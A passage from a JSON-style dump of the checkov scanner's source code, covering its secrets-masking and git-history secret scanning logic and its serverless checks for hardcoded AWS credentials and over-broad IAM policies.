validation_status_by_check_id_and_resource[key] = validation_status_entity['status']\n\n        logging.debug(\n            f'secrets verification api returned with {len(validation_status_by_check_id_and_resource.keys())} unique entries')\n\n        for secrets_record in report.failed_checks:\n            if hasattr(secrets_record, \"validation_status\"):\n                key = f'{secrets_record.bc_check_id}_{secrets_record.file_path}:{secrets_record.resource}'\n                secrets_record.validation_status = validation_status_by_check_id_and_resource.get(key)\n\n                if secrets_record.validation_status is None:\n                    logging.debug(f'Failed to find verification status of {key}, setting by default to Unknown')\n                    secrets_record.validation_status = ValidationStatus.UNAVAILABLE.value\n\n        return VerifySecretsResult.SUCCESS\n\n    @staticmethod\n    def get_json_verification_report(presigned_url: str) -> list[dict[str, str]] | None:\n        response = None\n        try:\n            response = requests.get(url=presigned_url, timeout=DEFAULT_TIMEOUT)\n        except Exception:\n            logging.error('Unable to download verification report')\n\n        return response.json() if response else None\n\n    @staticmethod\n    def _add_custom_detectors_to_metadata_integration() -> None:\n        customer_run_config_response = bc_integration.customer_run_config_response\n        policies_list: List[dict[str, Any]] = []\n        if customer_run_config_response:\n            policies_list = customer_run_config_response.get('secretsPolicies', [])\n        for policy in policies_list:\n            if policy.get('isCustom', False):\n                check_id = policy['incidentId']\n                guideline = policy.get('guideline', '')\n                severity = policy.get('severity', '')\n                metadata_integration.check_metadata[check_id] = {'id': check_id,\n                                                                 'guideline': guideline,\n                                                                 'severity': severity}\n\n    @staticmethod\n    def _modify_invalid_secrets_check_result_to_skipped(report: Report) -> None:\n        checks_indexes_moved_to_skipped: list[int] = []\n\n        for check_index, check in enumerate(report.failed_checks):\n            if hasattr(check, 'validation_status') and check.validation_status == ValidationStatus.INVALID.value:\n                check.check_result[\"result\"] = CheckResult.SKIPPED\n                check.check_result[\"suppress_comment\"] = \"Skipped invalid secret\"\n                report.skipped_checks.append(check)\n                checks_indexes_moved_to_skipped.append(check_index)\n\n        for idx in sorted(checks_indexes_moved_to_skipped, reverse=True):\n            try:\n                del report.failed_checks[idx]\n            except Exception:\n                logging.error(f\"Failed to remove suppressed secrets violations from failed_checks, report is corrupted.\"\n                              f\"Tried to delete entry {idx} from failed_checks of length {len(report.failed_checks)}\",\n                              exc_info=True)\n\n    def mask_files(self, root_folder: str | None,\n                   files: list[str] | None = None,\n                   runner_filter: RunnerFilter | None = None) -> None:\n        \"\"\"\n        get files or/and root_folder and masking and replace automatically all the secrets found there\n        note: the changes are inplace\n        \"\"\"\n        runner_filter = runner_filter or RunnerFilter()\n\n        plugins_used, cleanupFn = self._get_plugins_used()\n\n        files_to_scan = files or []\n        if root_folder:\n            files_to_scan += _find_files_from_root_folder(root_folder, runner_filter)\n\n        self._add_custom_detectors_to_metadata_integration()\n        secrets = SecretsCollection()\n        with _thread_safe_transient_settings({\n            # Only run scans with only these plugins.\n            'plugins_used': plugins_used\n        }) as settings:\n\n            settings.disable_filters(*['detect_secrets.filters.heuristic.is_indirect_reference'])\n            settings.disable_filters(*['detect_secrets.filters.heuristic.is_potential_uuid'])\n\n            self._scan_files(files_to_scan, secrets, self.pbar)\n\n        for file in files_to_scan:\n            with open(file, \"r+\") as f:\n                content = f.read()\n                f.seek(0)\n                for _key, secret in secrets:\n                    if not secret.secret_value:\n                        continue\n                    check_id = secret.check_id if secret.check_id else SECRET_TYPE_TO_ID.get(secret.type)\n                    if not check_id:\n                        logging.debug(f'Secret was filtered - no check_id for line_number {secret.line_number}')\n                        continue\n                    if secret.secret_value and should_filter_vault_secret(secret.secret_value, check_id):\n                        logging.debug(f'Secret was filtered - this is a vault reference: {secret.secret_value}')\n                        continue\n\n                    content = content.replace(secret.secret_value, masking_value(secret.secret_value))\n                f.write(content)\n                f.truncate()\n\n        logging.info(f\"finish replacing {len(files_to_scan)} files\")\n\n\ndef masking_value(secret: str) -> str:\n    secret_len_to_expose = min(len(secret) // 4, 6)\n    return f'{secret[:secret_len_to_expose]}{\"*\" * GENERIC_OBFUSCATION_LENGTH}'\n"
  },
  {
    "path": "checkov/secrets/scan_git_history.py",
    "content": "from __future__ import annotations\n\nimport hashlib\nimport logging\nimport os\nimport platform\nfrom typing import TYPE_CHECKING, Optional, List, Tuple, Union\n\nfrom detect_secrets.core import scan\n\nfrom checkov.common.util.stopit import ThreadingTimeout, SignalTimeout, TimeoutException\nfrom checkov.common.util.decorators import time_it\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.secrets.consts import GIT_HISTORY_NOT_BEEN_REMOVED\nfrom checkov.secrets.git_history_store import GitHistorySecretStore, RawStore, RENAME_STR, FILE_RESULTS_STR\nfrom checkov.secrets.git_types import Commit, CommitMetadata, PROHIBITED_FILES\n\nif TYPE_CHECKING:\n    from detect_secrets import SecretsCollection\n\nos.environ[\"GIT_PYTHON_REFRESH\"] = \"quiet\"\ntry:\n    from git import Repo, Tree\n\n    git_import_error = None\nexcept ImportError as e:\n    git_import_error = e\n\nMIN_SPLIT = 100\nFILES_TO_IGNORE_IN_GIT_HISTORY = ('.md', '.svg', '.png', '.jpg') + PROHIBITED_FILES\n\n\nclass GitHistoryScanner:\n    commits_count = 0  # noqa: CCE003\n\n    def __init__(self, root_folder: str, secrets: SecretsCollection,\n                 history_store: Optional[GitHistorySecretStore] = None, timeout: int = 43200):\n        \"\"\"\n        root_folder: Is necessary for initializing the Repo to read from\n        secrets: An object which will be filled with secrets during the run of the secrets scan\n        history_store: A helper objects which will be field during the run, to map between found secrets and commits.\n            is not used afterwards for outside-of-class work\n        \"\"\"\n        self.root_folder = root_folder\n        self.secrets = secrets\n        self.timeout = timeout\n        # in case we start from mid-history (git) we want to continue from where we've been\n        self.history_store: GitHistorySecretStore = history_store or GitHistorySecretStore()\n        self.raw_store: List[RawStore] = []\n        self.repo: Repo  # Initialize repo attribute with None\n\n    def scan_history(self, last_commit_scanned: Optional[str] = '', commits_to_scan: Optional[List[Commit]] = None) -> bool:\n        \"\"\"return true if the scan finished without timeout\"\"\"\n        if not commits_to_scan:\n            is_repo_set = self.set_repo()  # for mocking purposes in testing\n            if not is_repo_set:\n                logging.info(\"Couldn't set git repo. Cannot proceed with git history scan.\")\n                return False\n        timeout_class = ThreadingTimeout if platform.system() == 'Windows' else SignalTimeout\n        # mark the scan to finish within the timeout\n        with timeout_class(self.timeout) as to_ctx_mgr:\n            scanned = self._scan_history(last_commit_scanned, commits_to_scan)\n            self._create_secret_collection()\n        if to_ctx_mgr.state == to_ctx_mgr.TIMED_OUT:\n            logging.info(f\"timeout reached ({self.timeout}), stopping scan.\")\n            return False\n        # else: everything was OK\n        return scanned\n\n    @time_it\n    def _scan_history(self, last_commit_scanned: Optional[str] = '', commits_to_scan: Optional[List[Commit]] = None) -> bool:\n        commits_diff = self.get_commits(last_commit_scanned) if not commits_to_scan else commits_to_scan\n        logging.info(f\"[_scan_history] got {len(commits_diff)} files diffs in {self.commits_count} commits\")\n        if self.commits_count > MIN_SPLIT:\n            logging.info(\"[_scan_history] starting parallel scan\")\n            self._run_scan_parallel(commits_diff)\n        else:\n            logging.info(\"[_scan_history] starting single scan\")\n            self.raw_store.extend(self._run_scan_one_bulk(commits_diff))\n\n        if not self.raw_store:  # scanned nothing\n            return False\n\n        self._process_raw_store()\n        return True\n\n    def get_commits(self, last_commit_scanned: Optional[str] = '') -> List[Commit]:\n        commits_diff: List[Commit] = []\n        if not last_commit_scanned:\n            first_commit_diff = get_first_commit(self.repo, self.root_folder)\n            if first_commit_diff:\n                commits_diff.append(first_commit_diff)\n        commits_diff.extend(self._get_commits_diff(last_commit_sha=last_commit_scanned))\n        return commits_diff\n\n    def _process_raw_store(self) -> None:\n        for raw_res in self.raw_store:\n            res_type = raw_res.get('type')\n            if res_type == FILE_RESULTS_STR:\n                self.history_store.set_secret_map(raw_res.get('file_results', []), raw_res.get('file_name', ''),\n                                                  raw_res['commit'])\n            elif res_type == RENAME_STR:\n                self.history_store.handle_renamed_file(raw_res.get('rename_from', ''), raw_res.get('rename_to', ''),\n                                                       raw_res['commit'])\n\n    def _create_secret_collection(self) -> None:\n        # run over the entire history store and create the secret collection\n        for secrets_data in self.history_store.secrets_by_file_value_type.values():\n            for secret_data in secrets_data:\n                removed = secret_data[\"removed_commit_hash\"] if secret_data[\n                    \"removed_commit_hash\"] else GIT_HISTORY_NOT_BEEN_REMOVED\n                key = f'{secret_data[\"added_commit_hash\"]}_{removed}_{secret_data[\"potential_secret\"].filename}'\n                self.secrets[key].add(secret_data[\"potential_secret\"])\n        logging.info(f\"Created secret collection for {len(self.history_store.secrets_by_file_value_type)} secrets\")\n\n    def set_repo(self, root_folder: str | None = None) -> bool:\n        if not root_folder:\n            root_folder = self.root_folder\n        if git_import_error is not None:\n            logging.warning(f\"Unable to load git module (is the git executable available?) {git_import_error}\")\n            return False\n        try:\n            self.repo = Repo(root_folder)\n            return True\n        except Exception as e:\n            logging.error(f\"Folder {root_folder} is not a GIT project {e}\")\n            return False\n\n    def _get_commits_diff(self, last_commit_sha: Optional[str] = None) -> List[Commit]:\n        \"\"\"\n        :param: last_commit_sha = is the last commit we have already scanned. in case it exist the function will\n        return the commits from the revision of param to the current head\n        \"\"\"\n        logging.info(\"[_get_commits_diff] started\")\n        if last_commit_sha:\n            curr_rev = self.repo.head.commit.hexsha\n            commits = list(self.repo.iter_commits(last_commit_sha + '..' + curr_rev))\n        else:\n            commits = list(self.repo.iter_commits(self.repo.active_branch))\n        GitHistoryScanner.commits_count = len(commits)\n        commits_diff: List[Commit] = []\n        for previous_commit_idx in range(GitHistoryScanner.commits_count - 1, 0, -1):\n            try:\n                current_commit_idx = previous_commit_idx - 1\n                current_commit_hash = commits[current_commit_idx].hexsha\n                committed_datetime: str = commits[current_commit_idx].committed_datetime.isoformat()\n                committer: str = commits[current_commit_idx].committer.name or ''\n                git_diff = commits[previous_commit_idx].diff(current_commit_hash, create_patch=True)\n                curr_diff: Commit = Commit(\n                    metadata=CommitMetadata(\n                        commit_hash=current_commit_hash,\n                        committer=committer,\n                        committed_datetime=committed_datetime\n                    )\n                )\n                for file_diff in git_diff:\n                    file_name: str = file_diff.a_path if file_diff.a_path else file_diff.b_path  # type:ignore\n                    if file_name.endswith(FILES_TO_IGNORE_IN_GIT_HISTORY):\n                        continue\n                    file_path = os.path.join(self.root_folder, file_name)\n\n                    if file_diff.renamed_file:\n                        logging.debug(f\"File was renamed from {file_diff.rename_from} to {file_diff.rename_to}\")\n                        curr_diff.rename_file(\n                            file_path=file_path,\n                            prev_filename=file_diff.rename_from or \"\",\n                            new_filename=file_diff.rename_to or \"\"\n                        )\n                        continue\n\n                    elif file_diff.deleted_file:\n                        logging.debug(f\"File {file_diff.a_path} was deleted\")\n\n                    base_diff_format = f'diff --git {self.root_folder}/{file_diff.a_path} {self.root_folder}/{file_diff.b_path}' \\\n                                       f'\\nindex 0000..0000 0000\\n--- {self.root_folder}/{file_diff.a_path}\\n+++ {self.root_folder}/{file_diff.b_path}\\n'\n                    curr_diff.add_file(filename=file_path,\n                                       commit_diff=base_diff_format + get_decoded_diff(file_diff.diff))\n                if not curr_diff.is_empty():\n                    commits_diff.append(curr_diff)\n            except TimeoutException:\n                logging.error(f\"stopped while getting commits diff, iteration: {previous_commit_idx}\")\n                return []\n            except Exception as err:\n                logging.warning(f\"got error while getting commits diff, iteration: {previous_commit_idx}, error: {err}\")\n                continue\n        logging.info(\"[_get_commits_diff] ended\")\n        return commits_diff\n\n    def _run_scan_parallel(self, commits_diff: List[Commit]) -> None:\n        results = parallel_runner.run_function(GitHistoryScanner._run_scan_one_bulk, commits_diff)\n\n        for result in results:\n            if result:\n                self.raw_store.extend(result)\n\n    @staticmethod\n    def _run_scan_one_bulk(commits_diff: List[Commit] | Commit) -> List[RawStore]:\n        scanned_file_count = 0\n        results: List[RawStore] = []\n        # parallel runner can make the list flat, so I can get here dict instead of list\n        if isinstance(commits_diff, Commit):\n            results, scanned_file_count = GitHistoryScanner._run_scan_one_commit(commits_diff)\n        elif isinstance(commits_diff, list):\n            for commit in commits_diff:\n                cur_results, curr_count = GitHistoryScanner._run_scan_one_commit(commit)\n                scanned_file_count += curr_count\n                results.extend(cur_results)\n        logging.debug(f\"Scanned {scanned_file_count} git history files\")\n        return results\n\n    @staticmethod\n    def _run_scan_one_commit(commit: Commit) -> Tuple[List[RawStore], int]:\n        results: List[RawStore] = []\n        scanned_file_count = 0\n        commit_hash = commit.metadata.commit_hash\n        for file_name, file_diff in commit.files.items():\n            if len(file_diff) == 0:\n                continue\n            file_results = [*scan.scan_diff(file_diff, commit_hash)]\n            if file_results:\n                logging.debug(\n                    f\"Found {len(file_results)} secrets in file path {file_name} in commit {commit_hash}\")\n                results.append(RawStore(file_results=file_results, file_name=file_name, commit=commit,\n                                        type=FILE_RESULTS_STR, rename_from='', rename_to=''))\n        for _, details in commit.renamed_files.items():\n            rename_from = details['rename_from']\n            rename_to = details['rename_to']\n            results.append(RawStore(file_results=[], file_name='', commit=commit, type=RENAME_STR,\n                                    rename_from=rename_from, rename_to=rename_to))\n            scanned_file_count += 1\n        return results, scanned_file_count\n\n\n@time_it\ndef get_first_commit(repo: Repo, root_folder: str) -> Commit:\n    first_commit_sha = repo.git.log('--format=%H', '--max-parents=0', 'HEAD').split()[0]\n    first_commit = repo.commit(first_commit_sha)\n    empty_tree_sha = bytes.fromhex(hashlib.sha1(b'tree 0\\0').hexdigest())  # nosec\n    empty_tree = Tree(repo, empty_tree_sha)\n    git_diff = empty_tree.diff(first_commit, create_patch=True)\n\n    first_commit_diff: Commit = Commit(\n        metadata=CommitMetadata(\n            commit_hash=first_commit.hexsha,\n            committer=first_commit.committer.name or '',\n            committed_datetime=first_commit.committed_datetime.isoformat()\n        )\n    )\n\n    for file_diff in git_diff:\n        file_name: str = file_diff.b_path  # type:ignore\n        if file_name.endswith(FILES_TO_IGNORE_IN_GIT_HISTORY):\n            continue\n        file_path = os.path.join(root_folder, file_name)\n        base_diff_format = f\"--- ''\\n+++ {file_path}\\n\"\n        full_diff_format = base_diff_format + get_decoded_diff(file_diff.diff)\n        first_commit_diff.add_file(filename=file_path, commit_diff=full_diff_format)\n    return first_commit_diff\n\n\ndef get_decoded_diff(diff: Union[str, bytes, None]) -> str:\n    if diff is None:\n        return ''\n\n    if isinstance(diff, str):\n        return diff\n\n    try:\n        decoded_diff = diff.decode('utf-8')\n    except UnicodeDecodeError as ue:\n        logging.debug(f'failed decoding file diff, {ue}')\n        decoded_diff = diff.decode('utf-8', errors='ignore')\n\n    return decoded_diff\n"
  },
  {
    "path": "checkov/secrets/utils.py",
    "content": "from __future__ import annotations\n\nimport os\nimport re\nfrom collections.abc import Iterable\n\nfrom checkov.common.runners.base_runner import ignored_directories, safe_remove\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\n\nEXCLUDED_PATHS = [*ignored_directories, DEFAULT_EXTERNAL_MODULES_DIR, \".idea\", \".git\", \"venv\"]\n\n\ndef filter_excluded_paths(\n    root_dir: str,\n    names: list[str] | list[os.DirEntry[str]],\n    excluded_paths: Iterable[str] | None,\n) -> None:\n    \"\"\"Special build of checkov.common.runners.base_runner.filter_ignored_paths for Secrets scanning\"\"\"\n\n    # support for the --skip-path flag\n    if excluded_paths:\n        compiled = []\n        for p in excluded_paths:\n            try:\n                compiled.append(re.compile(p.replace(\".terraform\", r\"\\.terraform\")))\n            except re.error:\n                # do not add compiled paths that aren't regexes\n                continue\n        for entry in list(names):\n            path = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry)\n            full_path = os.path.join(root_dir, path)\n            if any(pattern.search(full_path) for pattern in compiled) or any(p in full_path for p in excluded_paths):\n                safe_remove(names, entry)\n\n    # support for our own excluded paths list\n    for entry in list(names):\n        path = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry)\n        if path in EXCLUDED_PATHS:\n            safe_remove(names, entry)\n"
  },
  {
    "path": "checkov/serverless/__init__.py",
    "content": "from checkov.serverless.checks.function import *  # noqa\n"
  },
  {
    "path": "checkov/serverless/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.typing import _SkippedCheck, _CheckResult\n    from checkov.runner_filter import RunnerFilter\n\n\n@dataclass\nclass EntityDetails:\n    provider_type: str | None\n    data: dict[str, Any]\n\n\nclass ServerlessRegistry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        super().__init__(CheckType.SERVERLESS)\n\n    def extract_entity_details(self, entity: EntityDetails) -> tuple[str, dict[str, Any]]:  # type:ignore[override]\n        return f\"serverless_{entity.provider_type}\", entity.data\n\n    def scan(  # type:ignore[override]\n        self, scanned_file: str, entity: EntityDetails, skipped_checks: list[_SkippedCheck], runner_filter: RunnerFilter\n    ) -> dict[BaseCheck, _CheckResult]:\n        entity_type, entity_configuration = self.extract_entity_details(entity)\n        results = {}\n        checks = self.get_checks(entity_type)\n        for check in checks:\n            skip_info: _SkippedCheck = {}\n            if skipped_checks:\n                if check.id in [x[\"id\"] for x in skipped_checks]:\n                    skip_info = [x for x in skipped_checks if x[\"id\"] == check.id][0]\n\n            if runner_filter.should_run_check(check, report_type=CheckType.SERVERLESS):\n                self.logger.debug(f\"Running check: {check.name} on file {scanned_file}\")\n                result = check.run(\n                    scanned_file=scanned_file,\n                    entity_configuration=entity_configuration,\n                    entity_name=entity_type,\n                    entity_type=entity_type,\n                    skip_info=skip_info,\n                )\n                results[check] = result\n        return results\n"
  },
  {
    "path": "checkov/serverless/checks/__init__.py",
    "content": "from checkov.serverless.checks.complete import *  # noqa\nfrom checkov.serverless.checks.custom import *  # noqa\nfrom checkov.serverless.checks.function import *  # noqa\nfrom checkov.serverless.checks.layer import *  # noqa\nfrom checkov.serverless.checks.package import *  # noqa\nfrom checkov.serverless.checks.provider import *  # noqa\nfrom checkov.serverless.checks.service import *  # noqa"
  },
  {
    "path": "checkov/serverless/checks/base_function_check.py",
    "content": "# NOTE: Leaving this around for backwards compatibility. Usage of the checks/function/base_function_check.py\n#       version is preferred\n# noinspection PyUnresolvedReferences\nfrom checkov.serverless.checks.function.base_function_check import BaseFunctionCheck  # noqa\n"
  },
  {
    "path": "checkov/serverless/checks/complete/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/checks/complete/base_complete_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.complete.registry import complete_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseCompleteCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        complete_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        return self.scan_complete_conf(conf)\n\n    @abstractmethod\n    def scan_complete_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/complete/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\ncomplete_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/checks/custom/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/checks/custom/base_custom_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.custom.registry import custom_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseCustomCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        custom_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        return self.scan_custom_conf(conf)\n\n    @abstractmethod\n    def scan_custom_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/custom/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\ncustom_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/checks/function/__init__.py",
    "content": "from checkov.serverless.checks.function.aws import *  # noqa\n"
  },
  {
    "path": "checkov/serverless/checks/function/aws/AWSCredentials.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.serverless.checks.function.base_function_check import BaseFunctionCheck\nfrom checkov.common.models.consts import access_key_pattern, secret_key_pattern\nfrom checkov.serverless.parsers.parser import ENVIRONMENT_TOKEN\n\n\nclass AWSCredentials(BaseFunctionCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded AWS access key and secret key exists in provider\"\n        id = \"CKV_AWS_41\"\n        supported_entities = ('serverless_aws',)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities)\n\n    def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n        see: https://www.terraform.io/docs/providers/aws/index.html#static-credentials\n        \"\"\"\n        result = CheckResult.PASSED\n        if conf.get(ENVIRONMENT_TOKEN) and isinstance(conf[ENVIRONMENT_TOKEN], dict):\n            env_variables_strings = {key: value for key, value in conf.get(ENVIRONMENT_TOKEN, {}).items() if\n                                     isinstance(value, str)}\n            for idx, env_var_value in enumerate(env_variables_strings.values()):\n                if any([re.match(access_key_pattern, env_var_value), re.match(secret_key_pattern, env_var_value)]):\n                    conf[f'{self.id}_secret_{idx}'] = env_var_value\n                    result = CheckResult.FAILED\n        return result\n\n\ncheck = AWSCredentials()\n"
  },
  {
    "path": "checkov/serverless/checks/function/aws/AdminPolicyDocument.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.serverless.checks.function.base_function_check import BaseFunctionCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.serverless.parsers.parser import IAM_ROLE_STATEMENTS_TOKEN\n\n\nclass AdminPolicyDocument(BaseFunctionCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies that allow full \\\"*-*\\\" administrative privileges are not created\"\n        id = \"CKV_AWS_1\"\n        supported_entities = ('serverless_aws',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities)\n\n    def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n        validates iam policy document\n        https://learn.hashicorp.com/terraform/aws/iam-policy\n        :param conf: aws_kms_key configuration\n        :return: <CheckResult>\n        \"\"\"\n        statements = conf.get(IAM_ROLE_STATEMENTS_TOKEN)\n        if statements and isinstance(statements, list):\n            for statement in statements:\n                if 'Action' in statement and statement.get('Effect') == 'Allow' and '*' in statement['Action'] \\\n                        and '*' in statement['Resource']:\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AdminPolicyDocument()\n"
  },
  {
    "path": "checkov/serverless/checks/function/aws/StarActionPolicyDocument.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.serverless.checks.function.base_function_check import BaseFunctionCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.serverless.parsers.parser import IAM_ROLE_STATEMENTS_TOKEN\n\n\nclass StarActionPolicyDocument(BaseFunctionCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no IAM policies documents allow \\\"*\\\" as a statement's actions\"\n        id = \"CKV_AWS_49\"\n        supported_entities = ('serverless_aws',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities)\n\n    def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n        validates iam policy document\n         https://learn.hashicorp.com/terraform/aws/iam-policy\n        :param conf: aws_kms_key configuration\n        :return: <CheckResult>\n        \"\"\"\n        key = IAM_ROLE_STATEMENTS_TOKEN\n        statements = conf.get(key)\n        if not statements:\n            return CheckResult.PASSED\n        for statement in statements:\n            if not isinstance(statement, dict):\n                return CheckResult.UNKNOWN\n            if 'Action' in statement and '*' in statement['Action'] and statement.get('Effect') == 'Allow':\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = StarActionPolicyDocument()\n"
  },
  {
    "path": "checkov/serverless/checks/function/aws/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/serverless/checks/function/base_function_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.function.registry import function_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseFunctionCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        function_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        self.entity_type = entity_type\n        return self.scan_function_conf(conf)\n\n    @abstractmethod\n    def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/function/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\nfunction_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/checks/layer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/checks/layer/base_layer_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.layer.registry import layer_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseLayerCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        layer_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        return self.scan_layer_conf(conf)\n\n    @abstractmethod\n    def scan_layer_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/layer/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\nlayer_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/checks/package/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/checks/package/base_package_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import TYPE_CHECKING, Iterable, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.package.registry import package_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BasePackageCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        package_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        return self.scan_package_conf(conf)\n\n    @abstractmethod\n    def scan_package_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/package/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\npackage_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/checks/plugin/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/checks/plugin/base_plugin_check.py",
